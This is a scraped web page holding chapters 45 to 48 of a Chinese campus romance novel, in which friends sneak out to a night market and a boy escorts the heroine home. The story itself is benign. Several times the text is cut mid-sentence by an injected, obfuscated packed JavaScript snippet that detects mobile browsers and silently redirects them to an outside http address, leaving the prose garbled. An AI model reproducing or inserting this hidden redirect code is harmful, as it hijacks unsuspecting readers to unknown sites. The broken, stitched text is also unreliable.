突如其来的提议打得人猝不及防,张镜扔下了手中的笔,把手表怼到倒摄像头,语气诚恳,“你会看表吗,要我教你吗?” 于落落丝毫不理会,越说越兴奋,“出来吧出来吧,晚上没作业,明天还是运动会不上课,我们出来玩吧!” 季知节不是不觉得这个提议荒唐,现在已经晚上九点多了,甚至还是周四,周五还有运动会。 可是荒唐退去,涌上来的却是跃跃欲试。 才九点啊! 对于成年人来说,别说不能出门了,这个点都还不一定下班了呢! 而且晚上有什么! 有夜市啊! 章鱼丸子烤冷面、奶茶炸串小烧烤…… 众所周知,夜市上的小吃,味道是不一样的。 而且,今天没作业,明天不上课!只是运动会接力和闭幕式而已,简直了。 精准察觉季知节的心动,于落落调转箭头开始攻略,“知知啊!我的知知宝,出来玩呗!” “……” 季知节没有第一时间拒绝让张镜拉响了警钟,张镜警惕地看着面露犹豫的女孩,“知知,你别做傻事啊,你爸妈让吗?” 啊。 季知节被爸妈两个字拉回了现实,恍然想起自己现如今是个真正有门禁的高中生,不过…… “我爸妈还没回来,他们加班。” 季知节实话实说,一脸单纯。 张镜:“……” 无奈叹气,张镜清楚季知节已经动了心思,认命般合上笔帽。 “那你晚饭吃了没?”张镜看着屏幕里止不住心虚的女孩,开口却是另一句话。 说实话季知节已经做好了被张镜说一顿的准备了,季知节也多少清楚这个行为有些出格,甚至还有点危险,但念头被勾起来了就很难按下。 但是季知节万万没想到张镜说出来的却是这样一句话。 对于季知节来说,父母加班是常态,明明住在一间房子里,但是一整天见不到面也是正常的,更是已经习惯了一个人吃晚饭,有剩饭就炒一点,没有就点外卖或者干脆不吃了。 季知节不着痕迹地推了推桌上的面包袋子,双手托住脸,对着摄像头笑得傻兮兮的。 “吃过了,但是还想去夜市逛逛。” “那我们快去快回。” 张镜举手投降,无奈妥协。 “耶!” 季知节和于落落隔着屏幕HighFive了一下,张镜不合时宜地想到了溢出屏幕四个字,然后笑出了声。 —— 步入秋季的夜晚还是有些冷的,季知节放弃了校服外套转而穿了一件黑色的外套出门,无他,耐脏而已。 考虑到夜市周边停放自行车存在一定风险,季知节忍痛选择出租车出行,好在夜市离家并不远,不至于太过于大出血。 路灯被出租车拉出残影,看不出完整的形状,车内广播声咿咿呀呀不知道在唱着哪个地区的戏曲,司机师傅打着节拍口齿不清地忘我跟唱,季知节低着头难掩笑意。 “到了哈。” 司机师傅踩下刹车,一脸和善。 “谢谢师傅。” 季知节爽快付款,愉快地拉开车门下车,于落落和张镜已经到了,女孩举起手正准备打招呼,脸上的笑意却因看见了意料之外的人而僵在了脸上。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14673303|152907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “哟,知知妹妹好久不见啊!” 沈琼手上举着糖葫芦,一脸愉快地挥着手,身旁赫然站着沈瑜和周博承。 “啊。”顶着满头问号,季知节乖乖回应道,“姐姐好久不见。” 似乎是女孩一脸蒙圈的样子格外有喜感,沈琼笑出了声,从沈瑜手中拿过一个糖葫芦硬塞到女孩手中,沈琼笑道:“给你的。” 季知节这才发现在场几乎人手一根糖葫芦。 当视线触及于落落时,女孩相当心虚地往旁边迈了一步。 季知节:“……”很好,罪魁祸首抓到了。 “哎呀,我还约了朋友,你们自个玩哈,要走的时候让沈瑜发消息给我,我送你们。”沈琼狡黠地甩了甩手上的车钥匙,风风火火地就消失了,仿佛在这就是为了发一下糖葫芦。 “就是吧,我太得瑟了,然后不小心和周博承说漏嘴了。”于落落对着手指,神情惨痛。 “然后我手速太快就和沈瑜说了。”周博承神情憨憨。 “然后我出门被我姐抓到了,她说光我们在外面太危险了,就带着我出来了。”沈瑜接着说道,神情歉疚。 季知节有些头疼地揉了揉脑袋,一时不知道该说什么。 张镜对此接受良好,甚至觉得来得十分之妙。 “挺好的挺好的,喜提两个保镖。”张镜把眼镜当作墨镜推,佯装严肃地上下打量了一下两位男生,“不错不错,今晚消费于总买单。” 于落落:“?” 周博承假装没看见于落落的满脸抗议,原地立正敬礼。 “Yes,sir!” 季知节也无法不赞同张镜和沈琼说的话,即使不愿意承认,这个世道也确实是不公平的,尤其对于女性而言。 在这样鱼龙混杂的集市里,身边有男性朋友也确实会提高安全感。可是这明明是部分男性带来的困境,最终解决方式确实要靠着他们,这何尝不是一种讽刺呢? 也许是季知节脸上的神的太过于明显,在几个人闹哄哄地逛着时,沈瑜落后半步走在了女孩身边。 “怎么了?” 沈瑜没有低头,只是双手插在口袋,看着前面打打闹闹的几人,像是随口一问。 这是3000米之后两人第一次聊天。 在看到梁子笑到达终点后,季知节就跑了个没影,连颁奖都没去,只有于落落一个人在拍来拍去。 放学时也只在集合时短暂出现了一下,解散后就混入人群,沈瑜仅仅时一个眨眼,季知节就不见了人影。 夜市上的烟火气十足,空气中弥漫着各种各样的香味,各种调料还有炭火的味道混杂在一起,即刺激又勾人,小推车上的招牌也闪烁着着五颜六色的光芒,再加上老板的吆喝声,各家使尽浑身解数勾引着顾客。 季知节尝试把精神集中在这让人眼花缭乱的世界,最终钻入鼻腔震荡心神的却还是那一股熟悉的洗衣液的香气。 人流不时变得密集,可供行走的空间也不时变得拥挤,黑色外套和黑色的卫衣时有摩擦,乍一看有些分不清彼此。 余光从旁边人的衣服上收回,季知节深吸一口气,看着热闹的集市,笑着说道。 “只是在想,如果世界上没有坏人就好了。” 46. 第 46 章 “我也是。” 这是一个异想天开的想法,是只有小孩子才会相信的天真,善恶本就是一个模糊的地带,也许一个好人做了一件不那么好的事情就会被打上坏人的标签,一个常规意义上的坏人也有可能做出令人称赞的行为。 黑白之间存在灰色,好人坏人也没有真正统一的标准来区分,季知节也不过随口感叹而已,但是转头却发现沈瑜的脸上却带着相当认真的神色。 察觉女孩望过来的的视线,沈瑜微微侧脸,目光柔和,“抱歉,没有提前和你打招呼就过来了。” “也没事啊,夜市本身就要许多人逛才好玩嘛。”季知节目光投向手中的糖葫芦,开始和裹山楂的膜作斗争。 “话虽如此,但是我们还是不请自来了嘛。”沈瑜轻笑,“知道你们晚上出来玩的时候,我脑子里的第一反应是太危险了。” 季知节撕膜的手一顿,语气自然,“正常,基本都会是这个反应吧,尤其我们还是高中生,还是女高中生。” “女”字被似有若无地重咬了一下,季知节自嘲般笑道,“简直debuff叠满了,张镜一开始也不愿意出来的。” “你们在的话,不说别的,我们都会松一口气的啦。” “虽然有点荣幸,但是果然,还是这个世界没有坏人比较好。” 路不拾遗,夜不闭户的乌托邦似乎永远只是美好的无法实现的愿望,夜晚本该是星星绽放光芒的时候,却也不知何时成了黑暗的温床。 沈瑜不想站在道德高地去制止女孩们夜晚狂欢的想法行为,这本该是每个人的自由,因为加害者去约束自己的天性,这是一种悲哀。 但他也没办法完全放心,又害怕季知节拒绝,于是打算不请自来,又被沈琼抓到,于是成了如今的局面。 季知节小心谨慎地叠着撕下来的膜,但还是不小心沾到了手上,脸上的神情比路过的水果捞摊位上的配料还丰富。 沈瑜轻笑出声,却在季知节看过来的时候一秒正经,伸手接过季知节手中无处安放的,沾着红色糖渍的保鲜膜,从口袋里掏出纸巾,顺手包住,出声安慰,“没事,你先吃,我带了湿巾。” 说着还炫耀般拍了拍几乎和黑色卫衣融为一体的小斜挎包。 黑色方形挎包上只有一个小小的白色标记,沈瑜顺手拉开拉链,露出里面的东西。 粗略一看,季知节就发现了手帕纸、便携湿巾、充电宝、耳机等零零散散的必需品。 季知节低头看了一眼两手空空的自己,莫名生出被比下去了的错觉。 “带习惯了。”沈瑜拉上拉链,略有些沧桑,“我从小就是我姐的仓库。” “嗯?”季知节大致猜到了这是因为沈琼才会养成的习惯,但是还是不理解仓库一词。 “我姐出门喜欢带很多东西,觉得很有安全感,但是吧,她的衣服不一定每一个都有口袋,口袋的容量也不一定够。” “想要背的包不一定能装,能装的包不一定搭衣服。但是我的衣服口袋就很能装,背包也没那么讲究,基本上一个黑色的包就能全部解决。” “然后她就习惯了出门让我装东西,久而久之我也习惯了带着。” 沈瑜叹了口气,“但是不得不说,真的很有安全感。” 话说上次出门,他是不是也背着包了。季知节忽然想起那天见面时,男孩也背了一个挎包。 而且在学校的时候也永远能找他借到想要的东西,无论是纸巾还是本子,周博承甚至还借到过创可贴。 季知节一口咬下最顶上的山楂,圆滚滚的山楂球把女孩半边脸颊都顶了起来。 像只仓鼠。沈瑜不合时宜地想。 纵使有些口齿不清,季知节还不忘表达肯定。 “好习惯,继续保持。” 很少有男生会有这样的习惯,季知节见过不少以大大咧咧为借口,实施丢三落四之举的人。 抽光别人的纸巾是常态,有借无还也不是没有过。在这种对比下,沈瑜有些行为举措正常到不像男生。 不知道已经得到了如此高赞誉的沈瑜还在观察着路边,在看见一个车轮饼的摊位时,沈瑜朝那边示意。 “车轮饼想吃吗?” 季知节顿住脚步,像是被施展了定身咒一般站在原地看向了车轮饼。 磨具里一个个面饼逐渐成型,摊主拿着工具一个个翻面合拢,芋泥奶油奥利奥各种口味依次出现,季知节咽了咽口水。 不用看也知道季知节已经心动,沈瑜怂恿着,“走吧,我们去排队。” “……嗯。”季知节转头看向前面,“我想问问落落她们吃不吃。” 可前面哪还有熟悉的人影。 不知什么时候五人的距离越拉越大,领先的三人钻进人群就消失了踪影。 “……” 发现季知节的沉默,沈瑜骤然反应过来,又只剩他们两个了。 不曾发觉时一切都还算自然,可当身边只剩下一个熟悉的面孔时,气氛似乎变得有些微了起来。 “我们先去排队吧。”沈瑜移开视线,清了清嗓子,“我们拍照给她们看吧。” “……好。”季知节默默点头,跟在了沈瑜身后。 车轮饼摊位相当火爆,甚至排起了一条不短的队伍。季知节亦步亦趋地跟着沈瑜走到队伍末尾,就当季知节站定时,沈瑜一个跨步,就站在了季知节身后。 “往前一点点。”沈瑜轻抬下巴,示意季知节往前站。 “这也是习惯吗?”季知节稍微往前迈了一步,略有些好奇。 沈瑜挑眉,喉间发出一个单音节:“嗯?” 季知节轻点脚尖,“让女生站前面这种?” “算是吧。”沈瑜歪头想了想,“我姐她排队的时候很讨厌后面是不认识的人,尤其是不认识的男人。” “容易发生一些不太好的事情。”像是想起了什么,沈瑜脸上闪过一丝戾气,“虽然不能一概而论,但是男的大多数不是什么好人。” 隐约明白大概是发生过什么,季知节没有出口询问,而是岔开了话题,“你这是要把自己骂进去吗?” 沈瑜耸肩,脸上挂着不可一世的臭屁,“我不一样,我从里到外的好人。” “哦?这么肯定啊。”季知节拖长了声音,语气调笑,“谁给你的自信啊?” “九年义务教育和道德思想教育。”沈瑜一本正经,说出的话却莫名充满喜感。 季知节笑得眯起了眼睛。 “笑什么啊,这是事实啊。”沈瑜一脸抗议,语气委屈,“教育在一定程度上是能教化人的,我就是其中教化的比较好的那种。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14686604|152907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“你还真是不谦虚啊。”季知节笑得更开心了,夸张地摸了摸眼角,“不过确实,你是我见过的,极少数的,像女孩子一样的男生。” 似乎是意识到这番话有些歧义,季知节一顿,想要开口解释:“我……” “评价这么高吗?”沈瑜却一脸惊讶,忽然拿出手机,作势要打开录音,“能再说一遍吗,我想录下来供起来。” “……” “不是,这有什么好录的啊,而且你不生气吗,我说你像女生诶?”季知节看着丝毫没有异样神色的男生,反倒有些迷茫了,“我想夸你来着的。” “我知道啊。”察觉到女孩大概率是不会再说一遍了,沈瑜一脸遗憾地收起了手机,略有些诧异地看着一脸茫然的女孩,“我当然知道。” “你怎么知道的啊?” “女生又不是什么骂人的词,为什么要生气啊。”沈瑜满脸理所当然,“而且我姐说,女生的最高赞誉就是夸一个人像个女生。” “……”季知节一脸惊叹,这就是有姐姐的威力吗? 这思想觉悟! “你有点……”季知节组织着语言,丝毫没办法掩饰自己的欣赏,“女子力太高了,有点太帅了吧。” 男孩被季知节直白的夸奖哄的红了脸,一张帅气的脸上是止不住的笑意,就在得意之际,沈瑜忽然想到了什么,面露警惕。 “先说好啊,你可以拿我当朋友,但是别拿我当姐妹啊。” “哦?”季知节完全没想到这个方面,但这并不妨碍女孩的坏心眼,“你刚刚不是还说像女孩子是最高赞誉吗,为什么不能当姐妹啊。” 意识到搬起石头砸了自己的脚,沈瑜看着坏心思写满了脸的女孩,没忍住嘀嘀咕咕:“在你面前我还是想当个男人的好吧。” “你说什么?” 周围的环境太过嘈杂,男孩的嘴巴嗡动着,却好似并没有发出声音,季知节不禁靠近了一步,侧过头竖起耳朵听着男孩说话。 女孩突如其来的靠近让沈瑜的心跳漏了一拍,不自觉屏住的呼吸仿佛是在害怕惊扰了眼前的景象,沈瑜疯狂眨着眼,想要开口提醒,内心却在叫嚣着能不能再靠近一点。 “美女,到你了,你想要什么口味的?” 摊主敲了敲盘子,开口催促。 “哦来了来了。”季知节听到声音,匆匆忙忙回头,靠近了摊位,目光在招牌上巡视着,“我要芋泥奥利奥的。” “好嘞!” 女孩的骤然离去就像打开了阀门,沈瑜摸了摸鼻尖,已经在正常工作的鼻子显示着似乎一切如常,但隐藏在黑夜里泛红的耳朵藏起了少年最柔软的心动。 沈瑜掏出手机,慢慢靠近了正在专心致志看着摊主制作车轮饼的女孩,开口道:“她们回消息了,于落落想要芒果味的,张镜不吃车轮饼,周博承要草莓的。” “那你呢,你要什么味的?”季知节点头表示记下,找摊主加了两单,又偏过头看向男孩。 “我也不用。”沈瑜笑着摇头,“一会儿我们去买别的吧。” “好啊好啊,我还想吃章鱼小丸子。” “可以啊,我刚刚还看见了狼牙土豆。” “完了,我这个也想吃。” “可以买小份,然后一起分。” “好主意!” 47. 第 47 章 “你们怎么那么慢啊!” 当季知节和沈瑜找到于落落等人时,当即被倒打一耙。 这是一个露天的烧烤摊位,桌子不过是木质的小折叠桌,凳子也是彩色的小塑料凳,几个人围着坐着显得有些拥挤,尤其是周博承长手长脚地窝在板凳上,十分喜感。 好在卫生还算可以,桌子上铺着一次性的桌布,不至于无处下手。 方形的桌子被三个人各占一边,空着的地方摆了两张凳子,季知节随手把买好的东西放在桌上,一脸无语。 “是你们走得太快了好吧,一眨眼就没人了。” “我们这叫眼疾脚快,不是我们你上哪找位置坐啊。”于落落振振有词,扫视着周围张张饱满的桌子,得意洋洋。 “还眼疾脚快,莉姐会杀了你的。”张镜扒拉着季知节带来的小吃,头也不抬地嘲讽。 “莉姐又不在。”于落落摇头晃脑,“我们先点了一些,不够的话你们再去加一点吧。” “先吃着吧,我买了挺多东西的。”季知节调整着凳子,看向了不知何时已经坐到桌子直角边的男孩,“桌子角不难受吗,你过来点吧。” 五个人坐方桌,势必有两个人的距离会更近一点,周博承的体格坐在小凳子上本就勉强,而于落落又抱着看热闹不嫌事大的心情和张镜一人占据了一边。 沈瑜在大部分时候都很在意和人之间的距离,尤其是异性,这是一种几乎刻在骨子里面的本能。 这是出于为自己,也为他人着想的角度。但是凡事总存在例外,没有人在碰见喜欢的女孩子时,还想着远离。 但是半步开外是礼仪以及对自我的提醒,分寸感是人与人之间该牢记于心的基础。 不大的方桌旁两张椅子摆得相当近,沈瑜几乎是下意识地拉着凳子往旁边挪了挪,为了给季知节让出足够的空间,也为了不让女生感到不自在。 善良的人总是会互相考虑,季知节也无法眼睁睁看着沈瑜坐在桌角旁,不过是自己也稍微让一让而已,季知节相当果断地做出了判断。 “好啊。” 沈瑜垂眸,遮住眼睛里的光芒,语气自然地回答道。 面对于落落来回打量的眼神,季知节面不改色地岔开话题,“明天还有两个接力吧。” “对,不过准确来说是三个。”周博承三两口吃下车轮饼,神情餍足。 “男子接力、女子接力还有教师接力。” “我比较想看老师跑。”于落落不怀好意地笑道,“不知道是比人情世故还是实力啊。” “可能主要看校长上不上场吧。”张镜也跟着笑道。 …… 朋友在一起只是聊天也是有趣的,从运动会聊到课任老师再到期中考,最后不知怎么还聊到了学校里哪颗树结了果子。 话题偏到九霄云外,但偏偏几个人聊得一本正经,到最后甚至还追加了一轮烧烤。 “完了,实在吃不动了。” 桌面上的竹签不知不觉堆了一桌,可乐都喝了两罐,于落落有些后悔地捂着脸,“我明天肯定要肿起来了。” “没事没事,肿了就肿了吧,你就说好吃不好吃吧。”季知节吞下最后一口韭菜,满足地左右摇摆。 “……好吃。”于落落摸着良心惨痛道。 张镜深有同感地点头,小吃是真好吃啊。 战局差不多已经要结束,沈瑜拿出手机看了眼时间。 “差不多快十二点了,我们回去吧。明天好歹还要早起。” “对。”吃饱喝足的周博承大脑放空,像是想起了什么似的,“得回去睡觉了,我明天还得跑接力。” “阿门。”于落落不走心地祈祷了一下,意思意思鼓励了一把,“走吧走吧。” 接到消息的沈琼看着懒散到几乎说不出话的五人,忍俊不禁。 “吃饱了大脑缺氧了是吗?” 季知节刚想回答,就没忍住打了个大大的哈欠,眼角渗出了一点生理泪水。 仿佛被传染了一般,几个让接连张大了嘴巴。 “……” 此起彼伏的瞌睡虫被笑意赶跑。 “服了。”于落落一边笑一边揉着眼睛,“我们是猪吗?吃饱了就想睡了。” 沈琼扶着车门笑得难以自拔,伸手打开了车门,“上车吧小猪们,我送你们回去。” 小猪1号于落落从口袋里拿出电动车钥匙,神情遗憾,“我骑车来的,我得骑回去,不然明天没车上学了。” “你家在哪,不如让沈瑜把你车骑过去,我把你送到再接沈瑜吧。” 沈琼看了眼时间,略微有些担心地开口。 “没事没事,我家很近的,就在边上。”于落落嘿嘿一笑,“不用那么麻烦啦。” 见于落落打定了主意,沈琼只好放弃,“那你到家之后报个平安,路上小心点。” “好嘞,姐姐再见!” 小猪2号季知节和3号张镜对视一眼,刚想开口,就被沈琼撵上了车。 “我看到你们打车来了,乖乖上去啊。” 周博承相当不客气地一屁股坐在了副驾驶,眼巴巴等着沈琼上车。 沈琼的车内就和面包店一样,粉蓝色调的内饰和小物件显得温馨又可爱,后排还放着几个可可爱爱的小玩偶。 季知节从背后捞出一只粉色的熊摆在腿上,凝神看了几秒,女孩没忍住戳了几下娃娃的脸颊。 车门打开让车里的顶灯亮着,刚准备钻进车里的沈瑜借着光就看见了季知节有些幼稚的行为,没忍住笑了出来。 季知节手指一顿,敏感地察觉旁边若有若无的笑声,眯着眼睛瞥了过去。 沈瑜轻咳一声,佯装无事地坐了进去。 “啪——” 车门被关上了,车内的光源暗了下去。 显示屏微弱的灯光并不能照亮任何一处,周博承在前排和沈琼叽叽喳喳地聊着天,张镜靠在椅背上似乎是闭上了眼睛,季知节的全部感官忽然高度集中。 后排座椅坐三个人已经是极限了,同样是空间有限,吃烧烤时能保证一人一凳,但此刻在一张椅子上,不可避免的产生了一些接触。 不经意靠近的鞋尖,不小心触碰在一起,发出悉悉索索声的衣袖,钻入鼻腔的香味,触觉、嗅觉、听觉在视觉被限制后变得越加敏感,季知节手指蜷缩,掩饰般抱紧了怀中的玩偶。 “你们谁着急回家吗,我先送好了。”沈琼打开导航,看着几个孩子。 “姐姐,能不能先送知知啊。”张镜似乎睁开了眼睛,有些不好意思地开口道。 “没关系啦,姐姐你怎么方便怎么来吧。”季知节回过神,连忙道。 沈琼点进搜索框,“可以啊,那就先送知知吧。” “真没事的啦,先送顺路的吧。” “你爸妈应该快下班了吧,万一你比叔叔阿姨晚到家你就要挨骂了。” 沈琼透过后视镜看了一眼女孩,“你爸妈还没下班啊。” “对。”季知节捏着玩偶的手,报出地址,有些心虚,“我是瞒着我爸妈出来的。” “胆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14699672|152907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子挺大啊知知妹妹。”沈琼发动车子,语气调笑,“姐姐尽快给你送到家。” “谢谢姐姐!” 本以为会被批评一顿的季知节松了口气,感激地称赞着沈琼。 正在开车的沈琼被夸得眉开眼笑,一路上加足马力,势必要把季知节安全快速地送回家。 沈瑜靠在椅背上浅笑,耳边充斥着季知节和沈琼的聊天声,周博承不知什么时候就开始没有说话了,安静地像是睡着了般,张镜也不知何时已经闭上了眼睛。 路边不时闪过的灯光让车内时而清晰时而朦胧,季知节的声音似乎是黑夜中唯一的旋律。 好漂亮。 沈瑜撑着脑袋看向窗外,看着玻璃上的倒影,清浅一笑。 …… “到了到了。” 沈琼踩下刹车,把车停在路边,得意道,“快吧。” 季知节相当捧场,为司机大人送上了掌声。 沈琼臭屁点头。 好像! 季知节不动声色地看了一眼旁边的男孩,不禁感叹。 果然是姐弟啊! “那让沈瑜送你进去,我就不下去了。”沈琼看了眼车上已经睡着的两个孩子。 “不用……”季知节刚想拒绝,就看见沈瑜已经拉开车门,笑着看向了自己。 “走吧。” “……好。” 季知节觉得,夜晚大概是有什么神奇的磁场,不然为什么看到他的笑,就会想情不自禁地答应他。 几近深夜,小区里几乎看不到行人了,几乎没什么作用的路灯在旁边矗立着。沈瑜打开手机的手电筒照着女孩脚下的路。 “你爸妈一直都这么晚回来吗?” “差不多吧,偶尔能正常下班。” 季知节看着眼前被照亮的一小片区域,忽然迈了一大步踩到了光里。 沈瑜看着玩心大起的女孩,笑着把光往前移了一段距离,女孩也果不其然往前蹦哒了一步。 从小区门口到单元楼下,短短的几百米距离,季知节几乎蹦出来一身汗。 “还能睡得着吗?” 沈瑜拆了包纸巾,笑着调侃。 季知节接过纸巾,胡乱在脸上抹了一把,神情满足,“睡得着睡得着,我都快困死了。” 沈瑜失笑,“那你上去吧,我看你进去我就回去了。” “嗯。”季知节点了点头,却也站在原地不动。 “怎么了?” 沈瑜耐心地看着女孩,语气轻柔得像是要和微风融为一体。 “在车上的时候,你和沈琼姐多说说话,晚上开车容易犯困。” 响起女孩再车上几乎没有停下来的的声音,沈瑜恍然。 “嗯,我知道了。” 这是沈瑜为之着迷的温柔,克制住想要摸一摸女孩脑袋的冲动,沈瑜看着还没有动作的女孩,声音愈加温柔。 “还有吗?” 季知节头也不抬,默默向后退了一步,声音像是从嗓子里挤出来的一般。 “晚安,好梦。” 等沈瑜反应过来时,女孩早已不见了踪影。 “啊。” 沈瑜捂着有些泛红的脸颊,神情恍惚。 “好狡猾。” 不是没有互相说过晚安,如果打开聊天框搜索,“晚安”二字甚至出现过不少回,但是从来没有一次像这样让人脸红心跳。 细微的声音消散在风里,沈瑜揉了揉耳朵,打开手机,按下说话键。 “晚安,明天见。” 48. 第 48 章 聊天框意料之中的没有动静,沈瑜收回手机,沿着来时的方向往外走着。 道路忽然变得明亮起来,沈瑜看着迎面驶来的车,小心避让开来,脚步不停。 “嗡——” 手机在口袋中发出声响,季知节像是没听见一般,双手插在口袋,轻靠在电梯壁上,目光紧盯着不断上升的数字。 怎么还没到。 电梯爬升的速度似乎比以往更慢一点,季知节脚尖一下又一下地点着地,口袋里的钥匙被捏得哗哗作响。 “叮——” 电梯门打开了。 门内依旧是一片漆黑,玄关处也没有换鞋的痕迹,季知节随手把钥匙放到鞋柜上,蹬开鞋子换上拖鞋,灯也没开就钻进了房间。 “啪——” 两道声音重合在了一起,季知节关房门的手一顿,就听见了外面传来了开门的动静。 “……” 季知节眨了眨眼睛,轻手轻脚地移到桌前,以几不可察的速度一点一点拉开了椅子,垫着脚慢悠悠地坐了下来。 害怕开灯会漏出光线,季知节看向桌面上的台灯,相当小心地把亮度调到了最低。 一边在自己房间做贼,一边还听着外面的动静。 “你小声点,知知应该已经睡了。” 不知道季红卫打算做什么,柳明霞压低声音制止。 不,我还没睡。 季知节双手合十忏悔。 “那你进去看看她被子盖好了没。” “!?!” 季知节倒吸一口凉气,看了看被烧烤味浸满的自己,满心绝望。 要不然出去自首吧,或者说我带着耳机在练听力?万一他们要闻到我身上的味道了咋办? 一秒钟脑海闪过三万个念头,听着越来越近的脚步声,季知节脑子一片空白,英勇就义般闭上了眼睛。 让暴风雨来得更猛烈些吧。 季知节内心惨淡,一副早死早超生的模样。 “哒、哒、哒……” 脚步声越来越近,季知节不受控制地做了个吞咽的动作,呼吸声都消失不见,女孩有些紧张地看着房门。 然后,脚步声停了下来。 “算了,难得她早睡,一会儿把她弄醒了就麻烦了。” 脚步声又逐渐变远,季知节忍住大口呼吸的本能,小口小口地喘着气。 确定妈妈已经走远,季知节有些后怕地拍了拍胸脯,长松了口气。 “呼——” 擦了擦脑门上的冷汗,季知节窝进了椅子里,仍然心有余悸。 果然人不能做亏心事啊。 一般来说,即使是晚上两点在客厅碰到季红卫好的柳明霞,季知节都不带慌的,接完水打完招呼就能溜溜达达地回房,现在不过才十二点多一点,就心虚得仿若夜不归宿。 手机里的消息已经刷了99+,季知节目光在某个名字后面鲜红的“1”上面停顿了一下,摸出耳机戴上,却没有点开语音,反而先点进了群聊。 从于落落到家报平安之后,五人群就没有停下来过。季知节付完烧烤的群收款,一点点爬起了“楼”。 大多数也不过是一些无厘头的闲聊,但季知节依旧看得十分认真,时不时还专门引用回复,最后还唠唠叨叨地说了自己方才的“惊心动魄”。 说是死板过头也好,又或者说是大题小作,季知节在意着身边人说的每一句话。倾诉和倾听都是相当困难的事情,而这两者之间,季知节认为,倾诉要更难一点。 人们总是羞于表达自己的情感,无论是快乐还是悲伤。 季知节长大之后无师自通的第一件事就是报喜不报忧。哪怕嘴里还在吃着泡面,聊天框里出现的却一定是晚上吃了这样那样的菜。哪怕整个人崩溃的不行,接到电话的第一句话一定是我最近还不错别担心。 报喜不报忧的对象一开始只是父母,最后却演变成了除自己外的所有人。 朋友就有义务听你发牢骚了吗?能不能不要破坏别人的心情啊? 到最后连所谓的“喜”都不会出现了。“嗯嗯啊啊”成为了绝大部分的对白,开始害怕连开心都出现得不合时宜。 在别人心情不好的时候你还这么开心是不是有毛病啊?连眼色都不会看吗? 情绪和长大好像是不能共存的,过淡的情绪被骂冷血,情绪过重就会被打为疯疯癫癫。而当你学会用公式化的表情面对生活时,那么恭喜你,你长大了。 所以季知节珍惜每一句话,只要是说出口的,无论是长是短,是开心还是难过,只要她听见的、看见的,季知节都努力地回应着。 哪怕只是一句“哈哈哈”。 或许这只是一种无意义且浪费时间的自我感动行为,但是没关系,只要能意识到,情绪无罪,一定会有人接着的。 所以,尽情欢笑和悲伤吧。 有人会听的。 群消息越刷越多,季知节看着一条条询问着是否健在的消息,气得开始用表情包刷屏。 于是一轮表情包大战拉开帷幕。 而拥有良好的“顺手牵羊”习惯的季知节当仁不让地拿下了冠军。 【季知节:朕要去洗漱了,跪安吧。】 季知节扬眉吐气地打出一串字,手指在屏幕上飞速向右滑,退出了群聊。 原本挂在顶端的聊天框被各种公众号和群聊挤到了下面,季知节轻滑屏幕,最终在熟悉的名字上停下了动作。 群聊中沈瑜几乎没怎么出现,不知道是没看手机还是已经睡了,季知节点开私聊的聊天框,小小的红点毫不害羞地展示着自己。 早就放在耳朵里的耳机忽然又叫嚣起了自己的存在感,季知节点开了短短只有两秒的语音。 透过耳机回响在鼓膜的声音像是贴着耳朵低声呓语,季知节情不自禁地又点了一下。 当短短五个字第二次响起时,季知节恍然察觉自己的所作所为,不自在地关上手机,有些逃避般趴在了桌上顶着台灯发着呆。 “救命啊……” 季知节来回拨动着台灯的亮度,喃喃自语道。 —— 运动会最后一天气氛依旧火热,甚至因为教师接力项目的举办,氛围隐隐有超过前两天的趋势。 但季知节只觉得这个天气十分适合睡觉。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14711834|152907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 张镜第六次托住季知节小鸡啄米般的脑袋,内心深感无奈。 “你要不然找个地方睡会?” 季知节揉了揉有些沉重的眼睛,有气无力地靠在了张镜的肩膀上。 “我要困死了。” “你昨晚几点睡的啊?”于落落有些新奇地看着打瞌睡的女孩,“你晚上还是被发现了?” 季知节头埋在张镜的肩膀上,用来回蹭的动作来表示摇头,空着的手艰难比了个“v”的手势。 于落落:“两点睡的,那也还好啊,你也不是没这个点过啊。” 季知节想是没睡醒般嘟嘟囔囔道:“就睡了两个小时。” 张镜:“?” 于落落:“?” 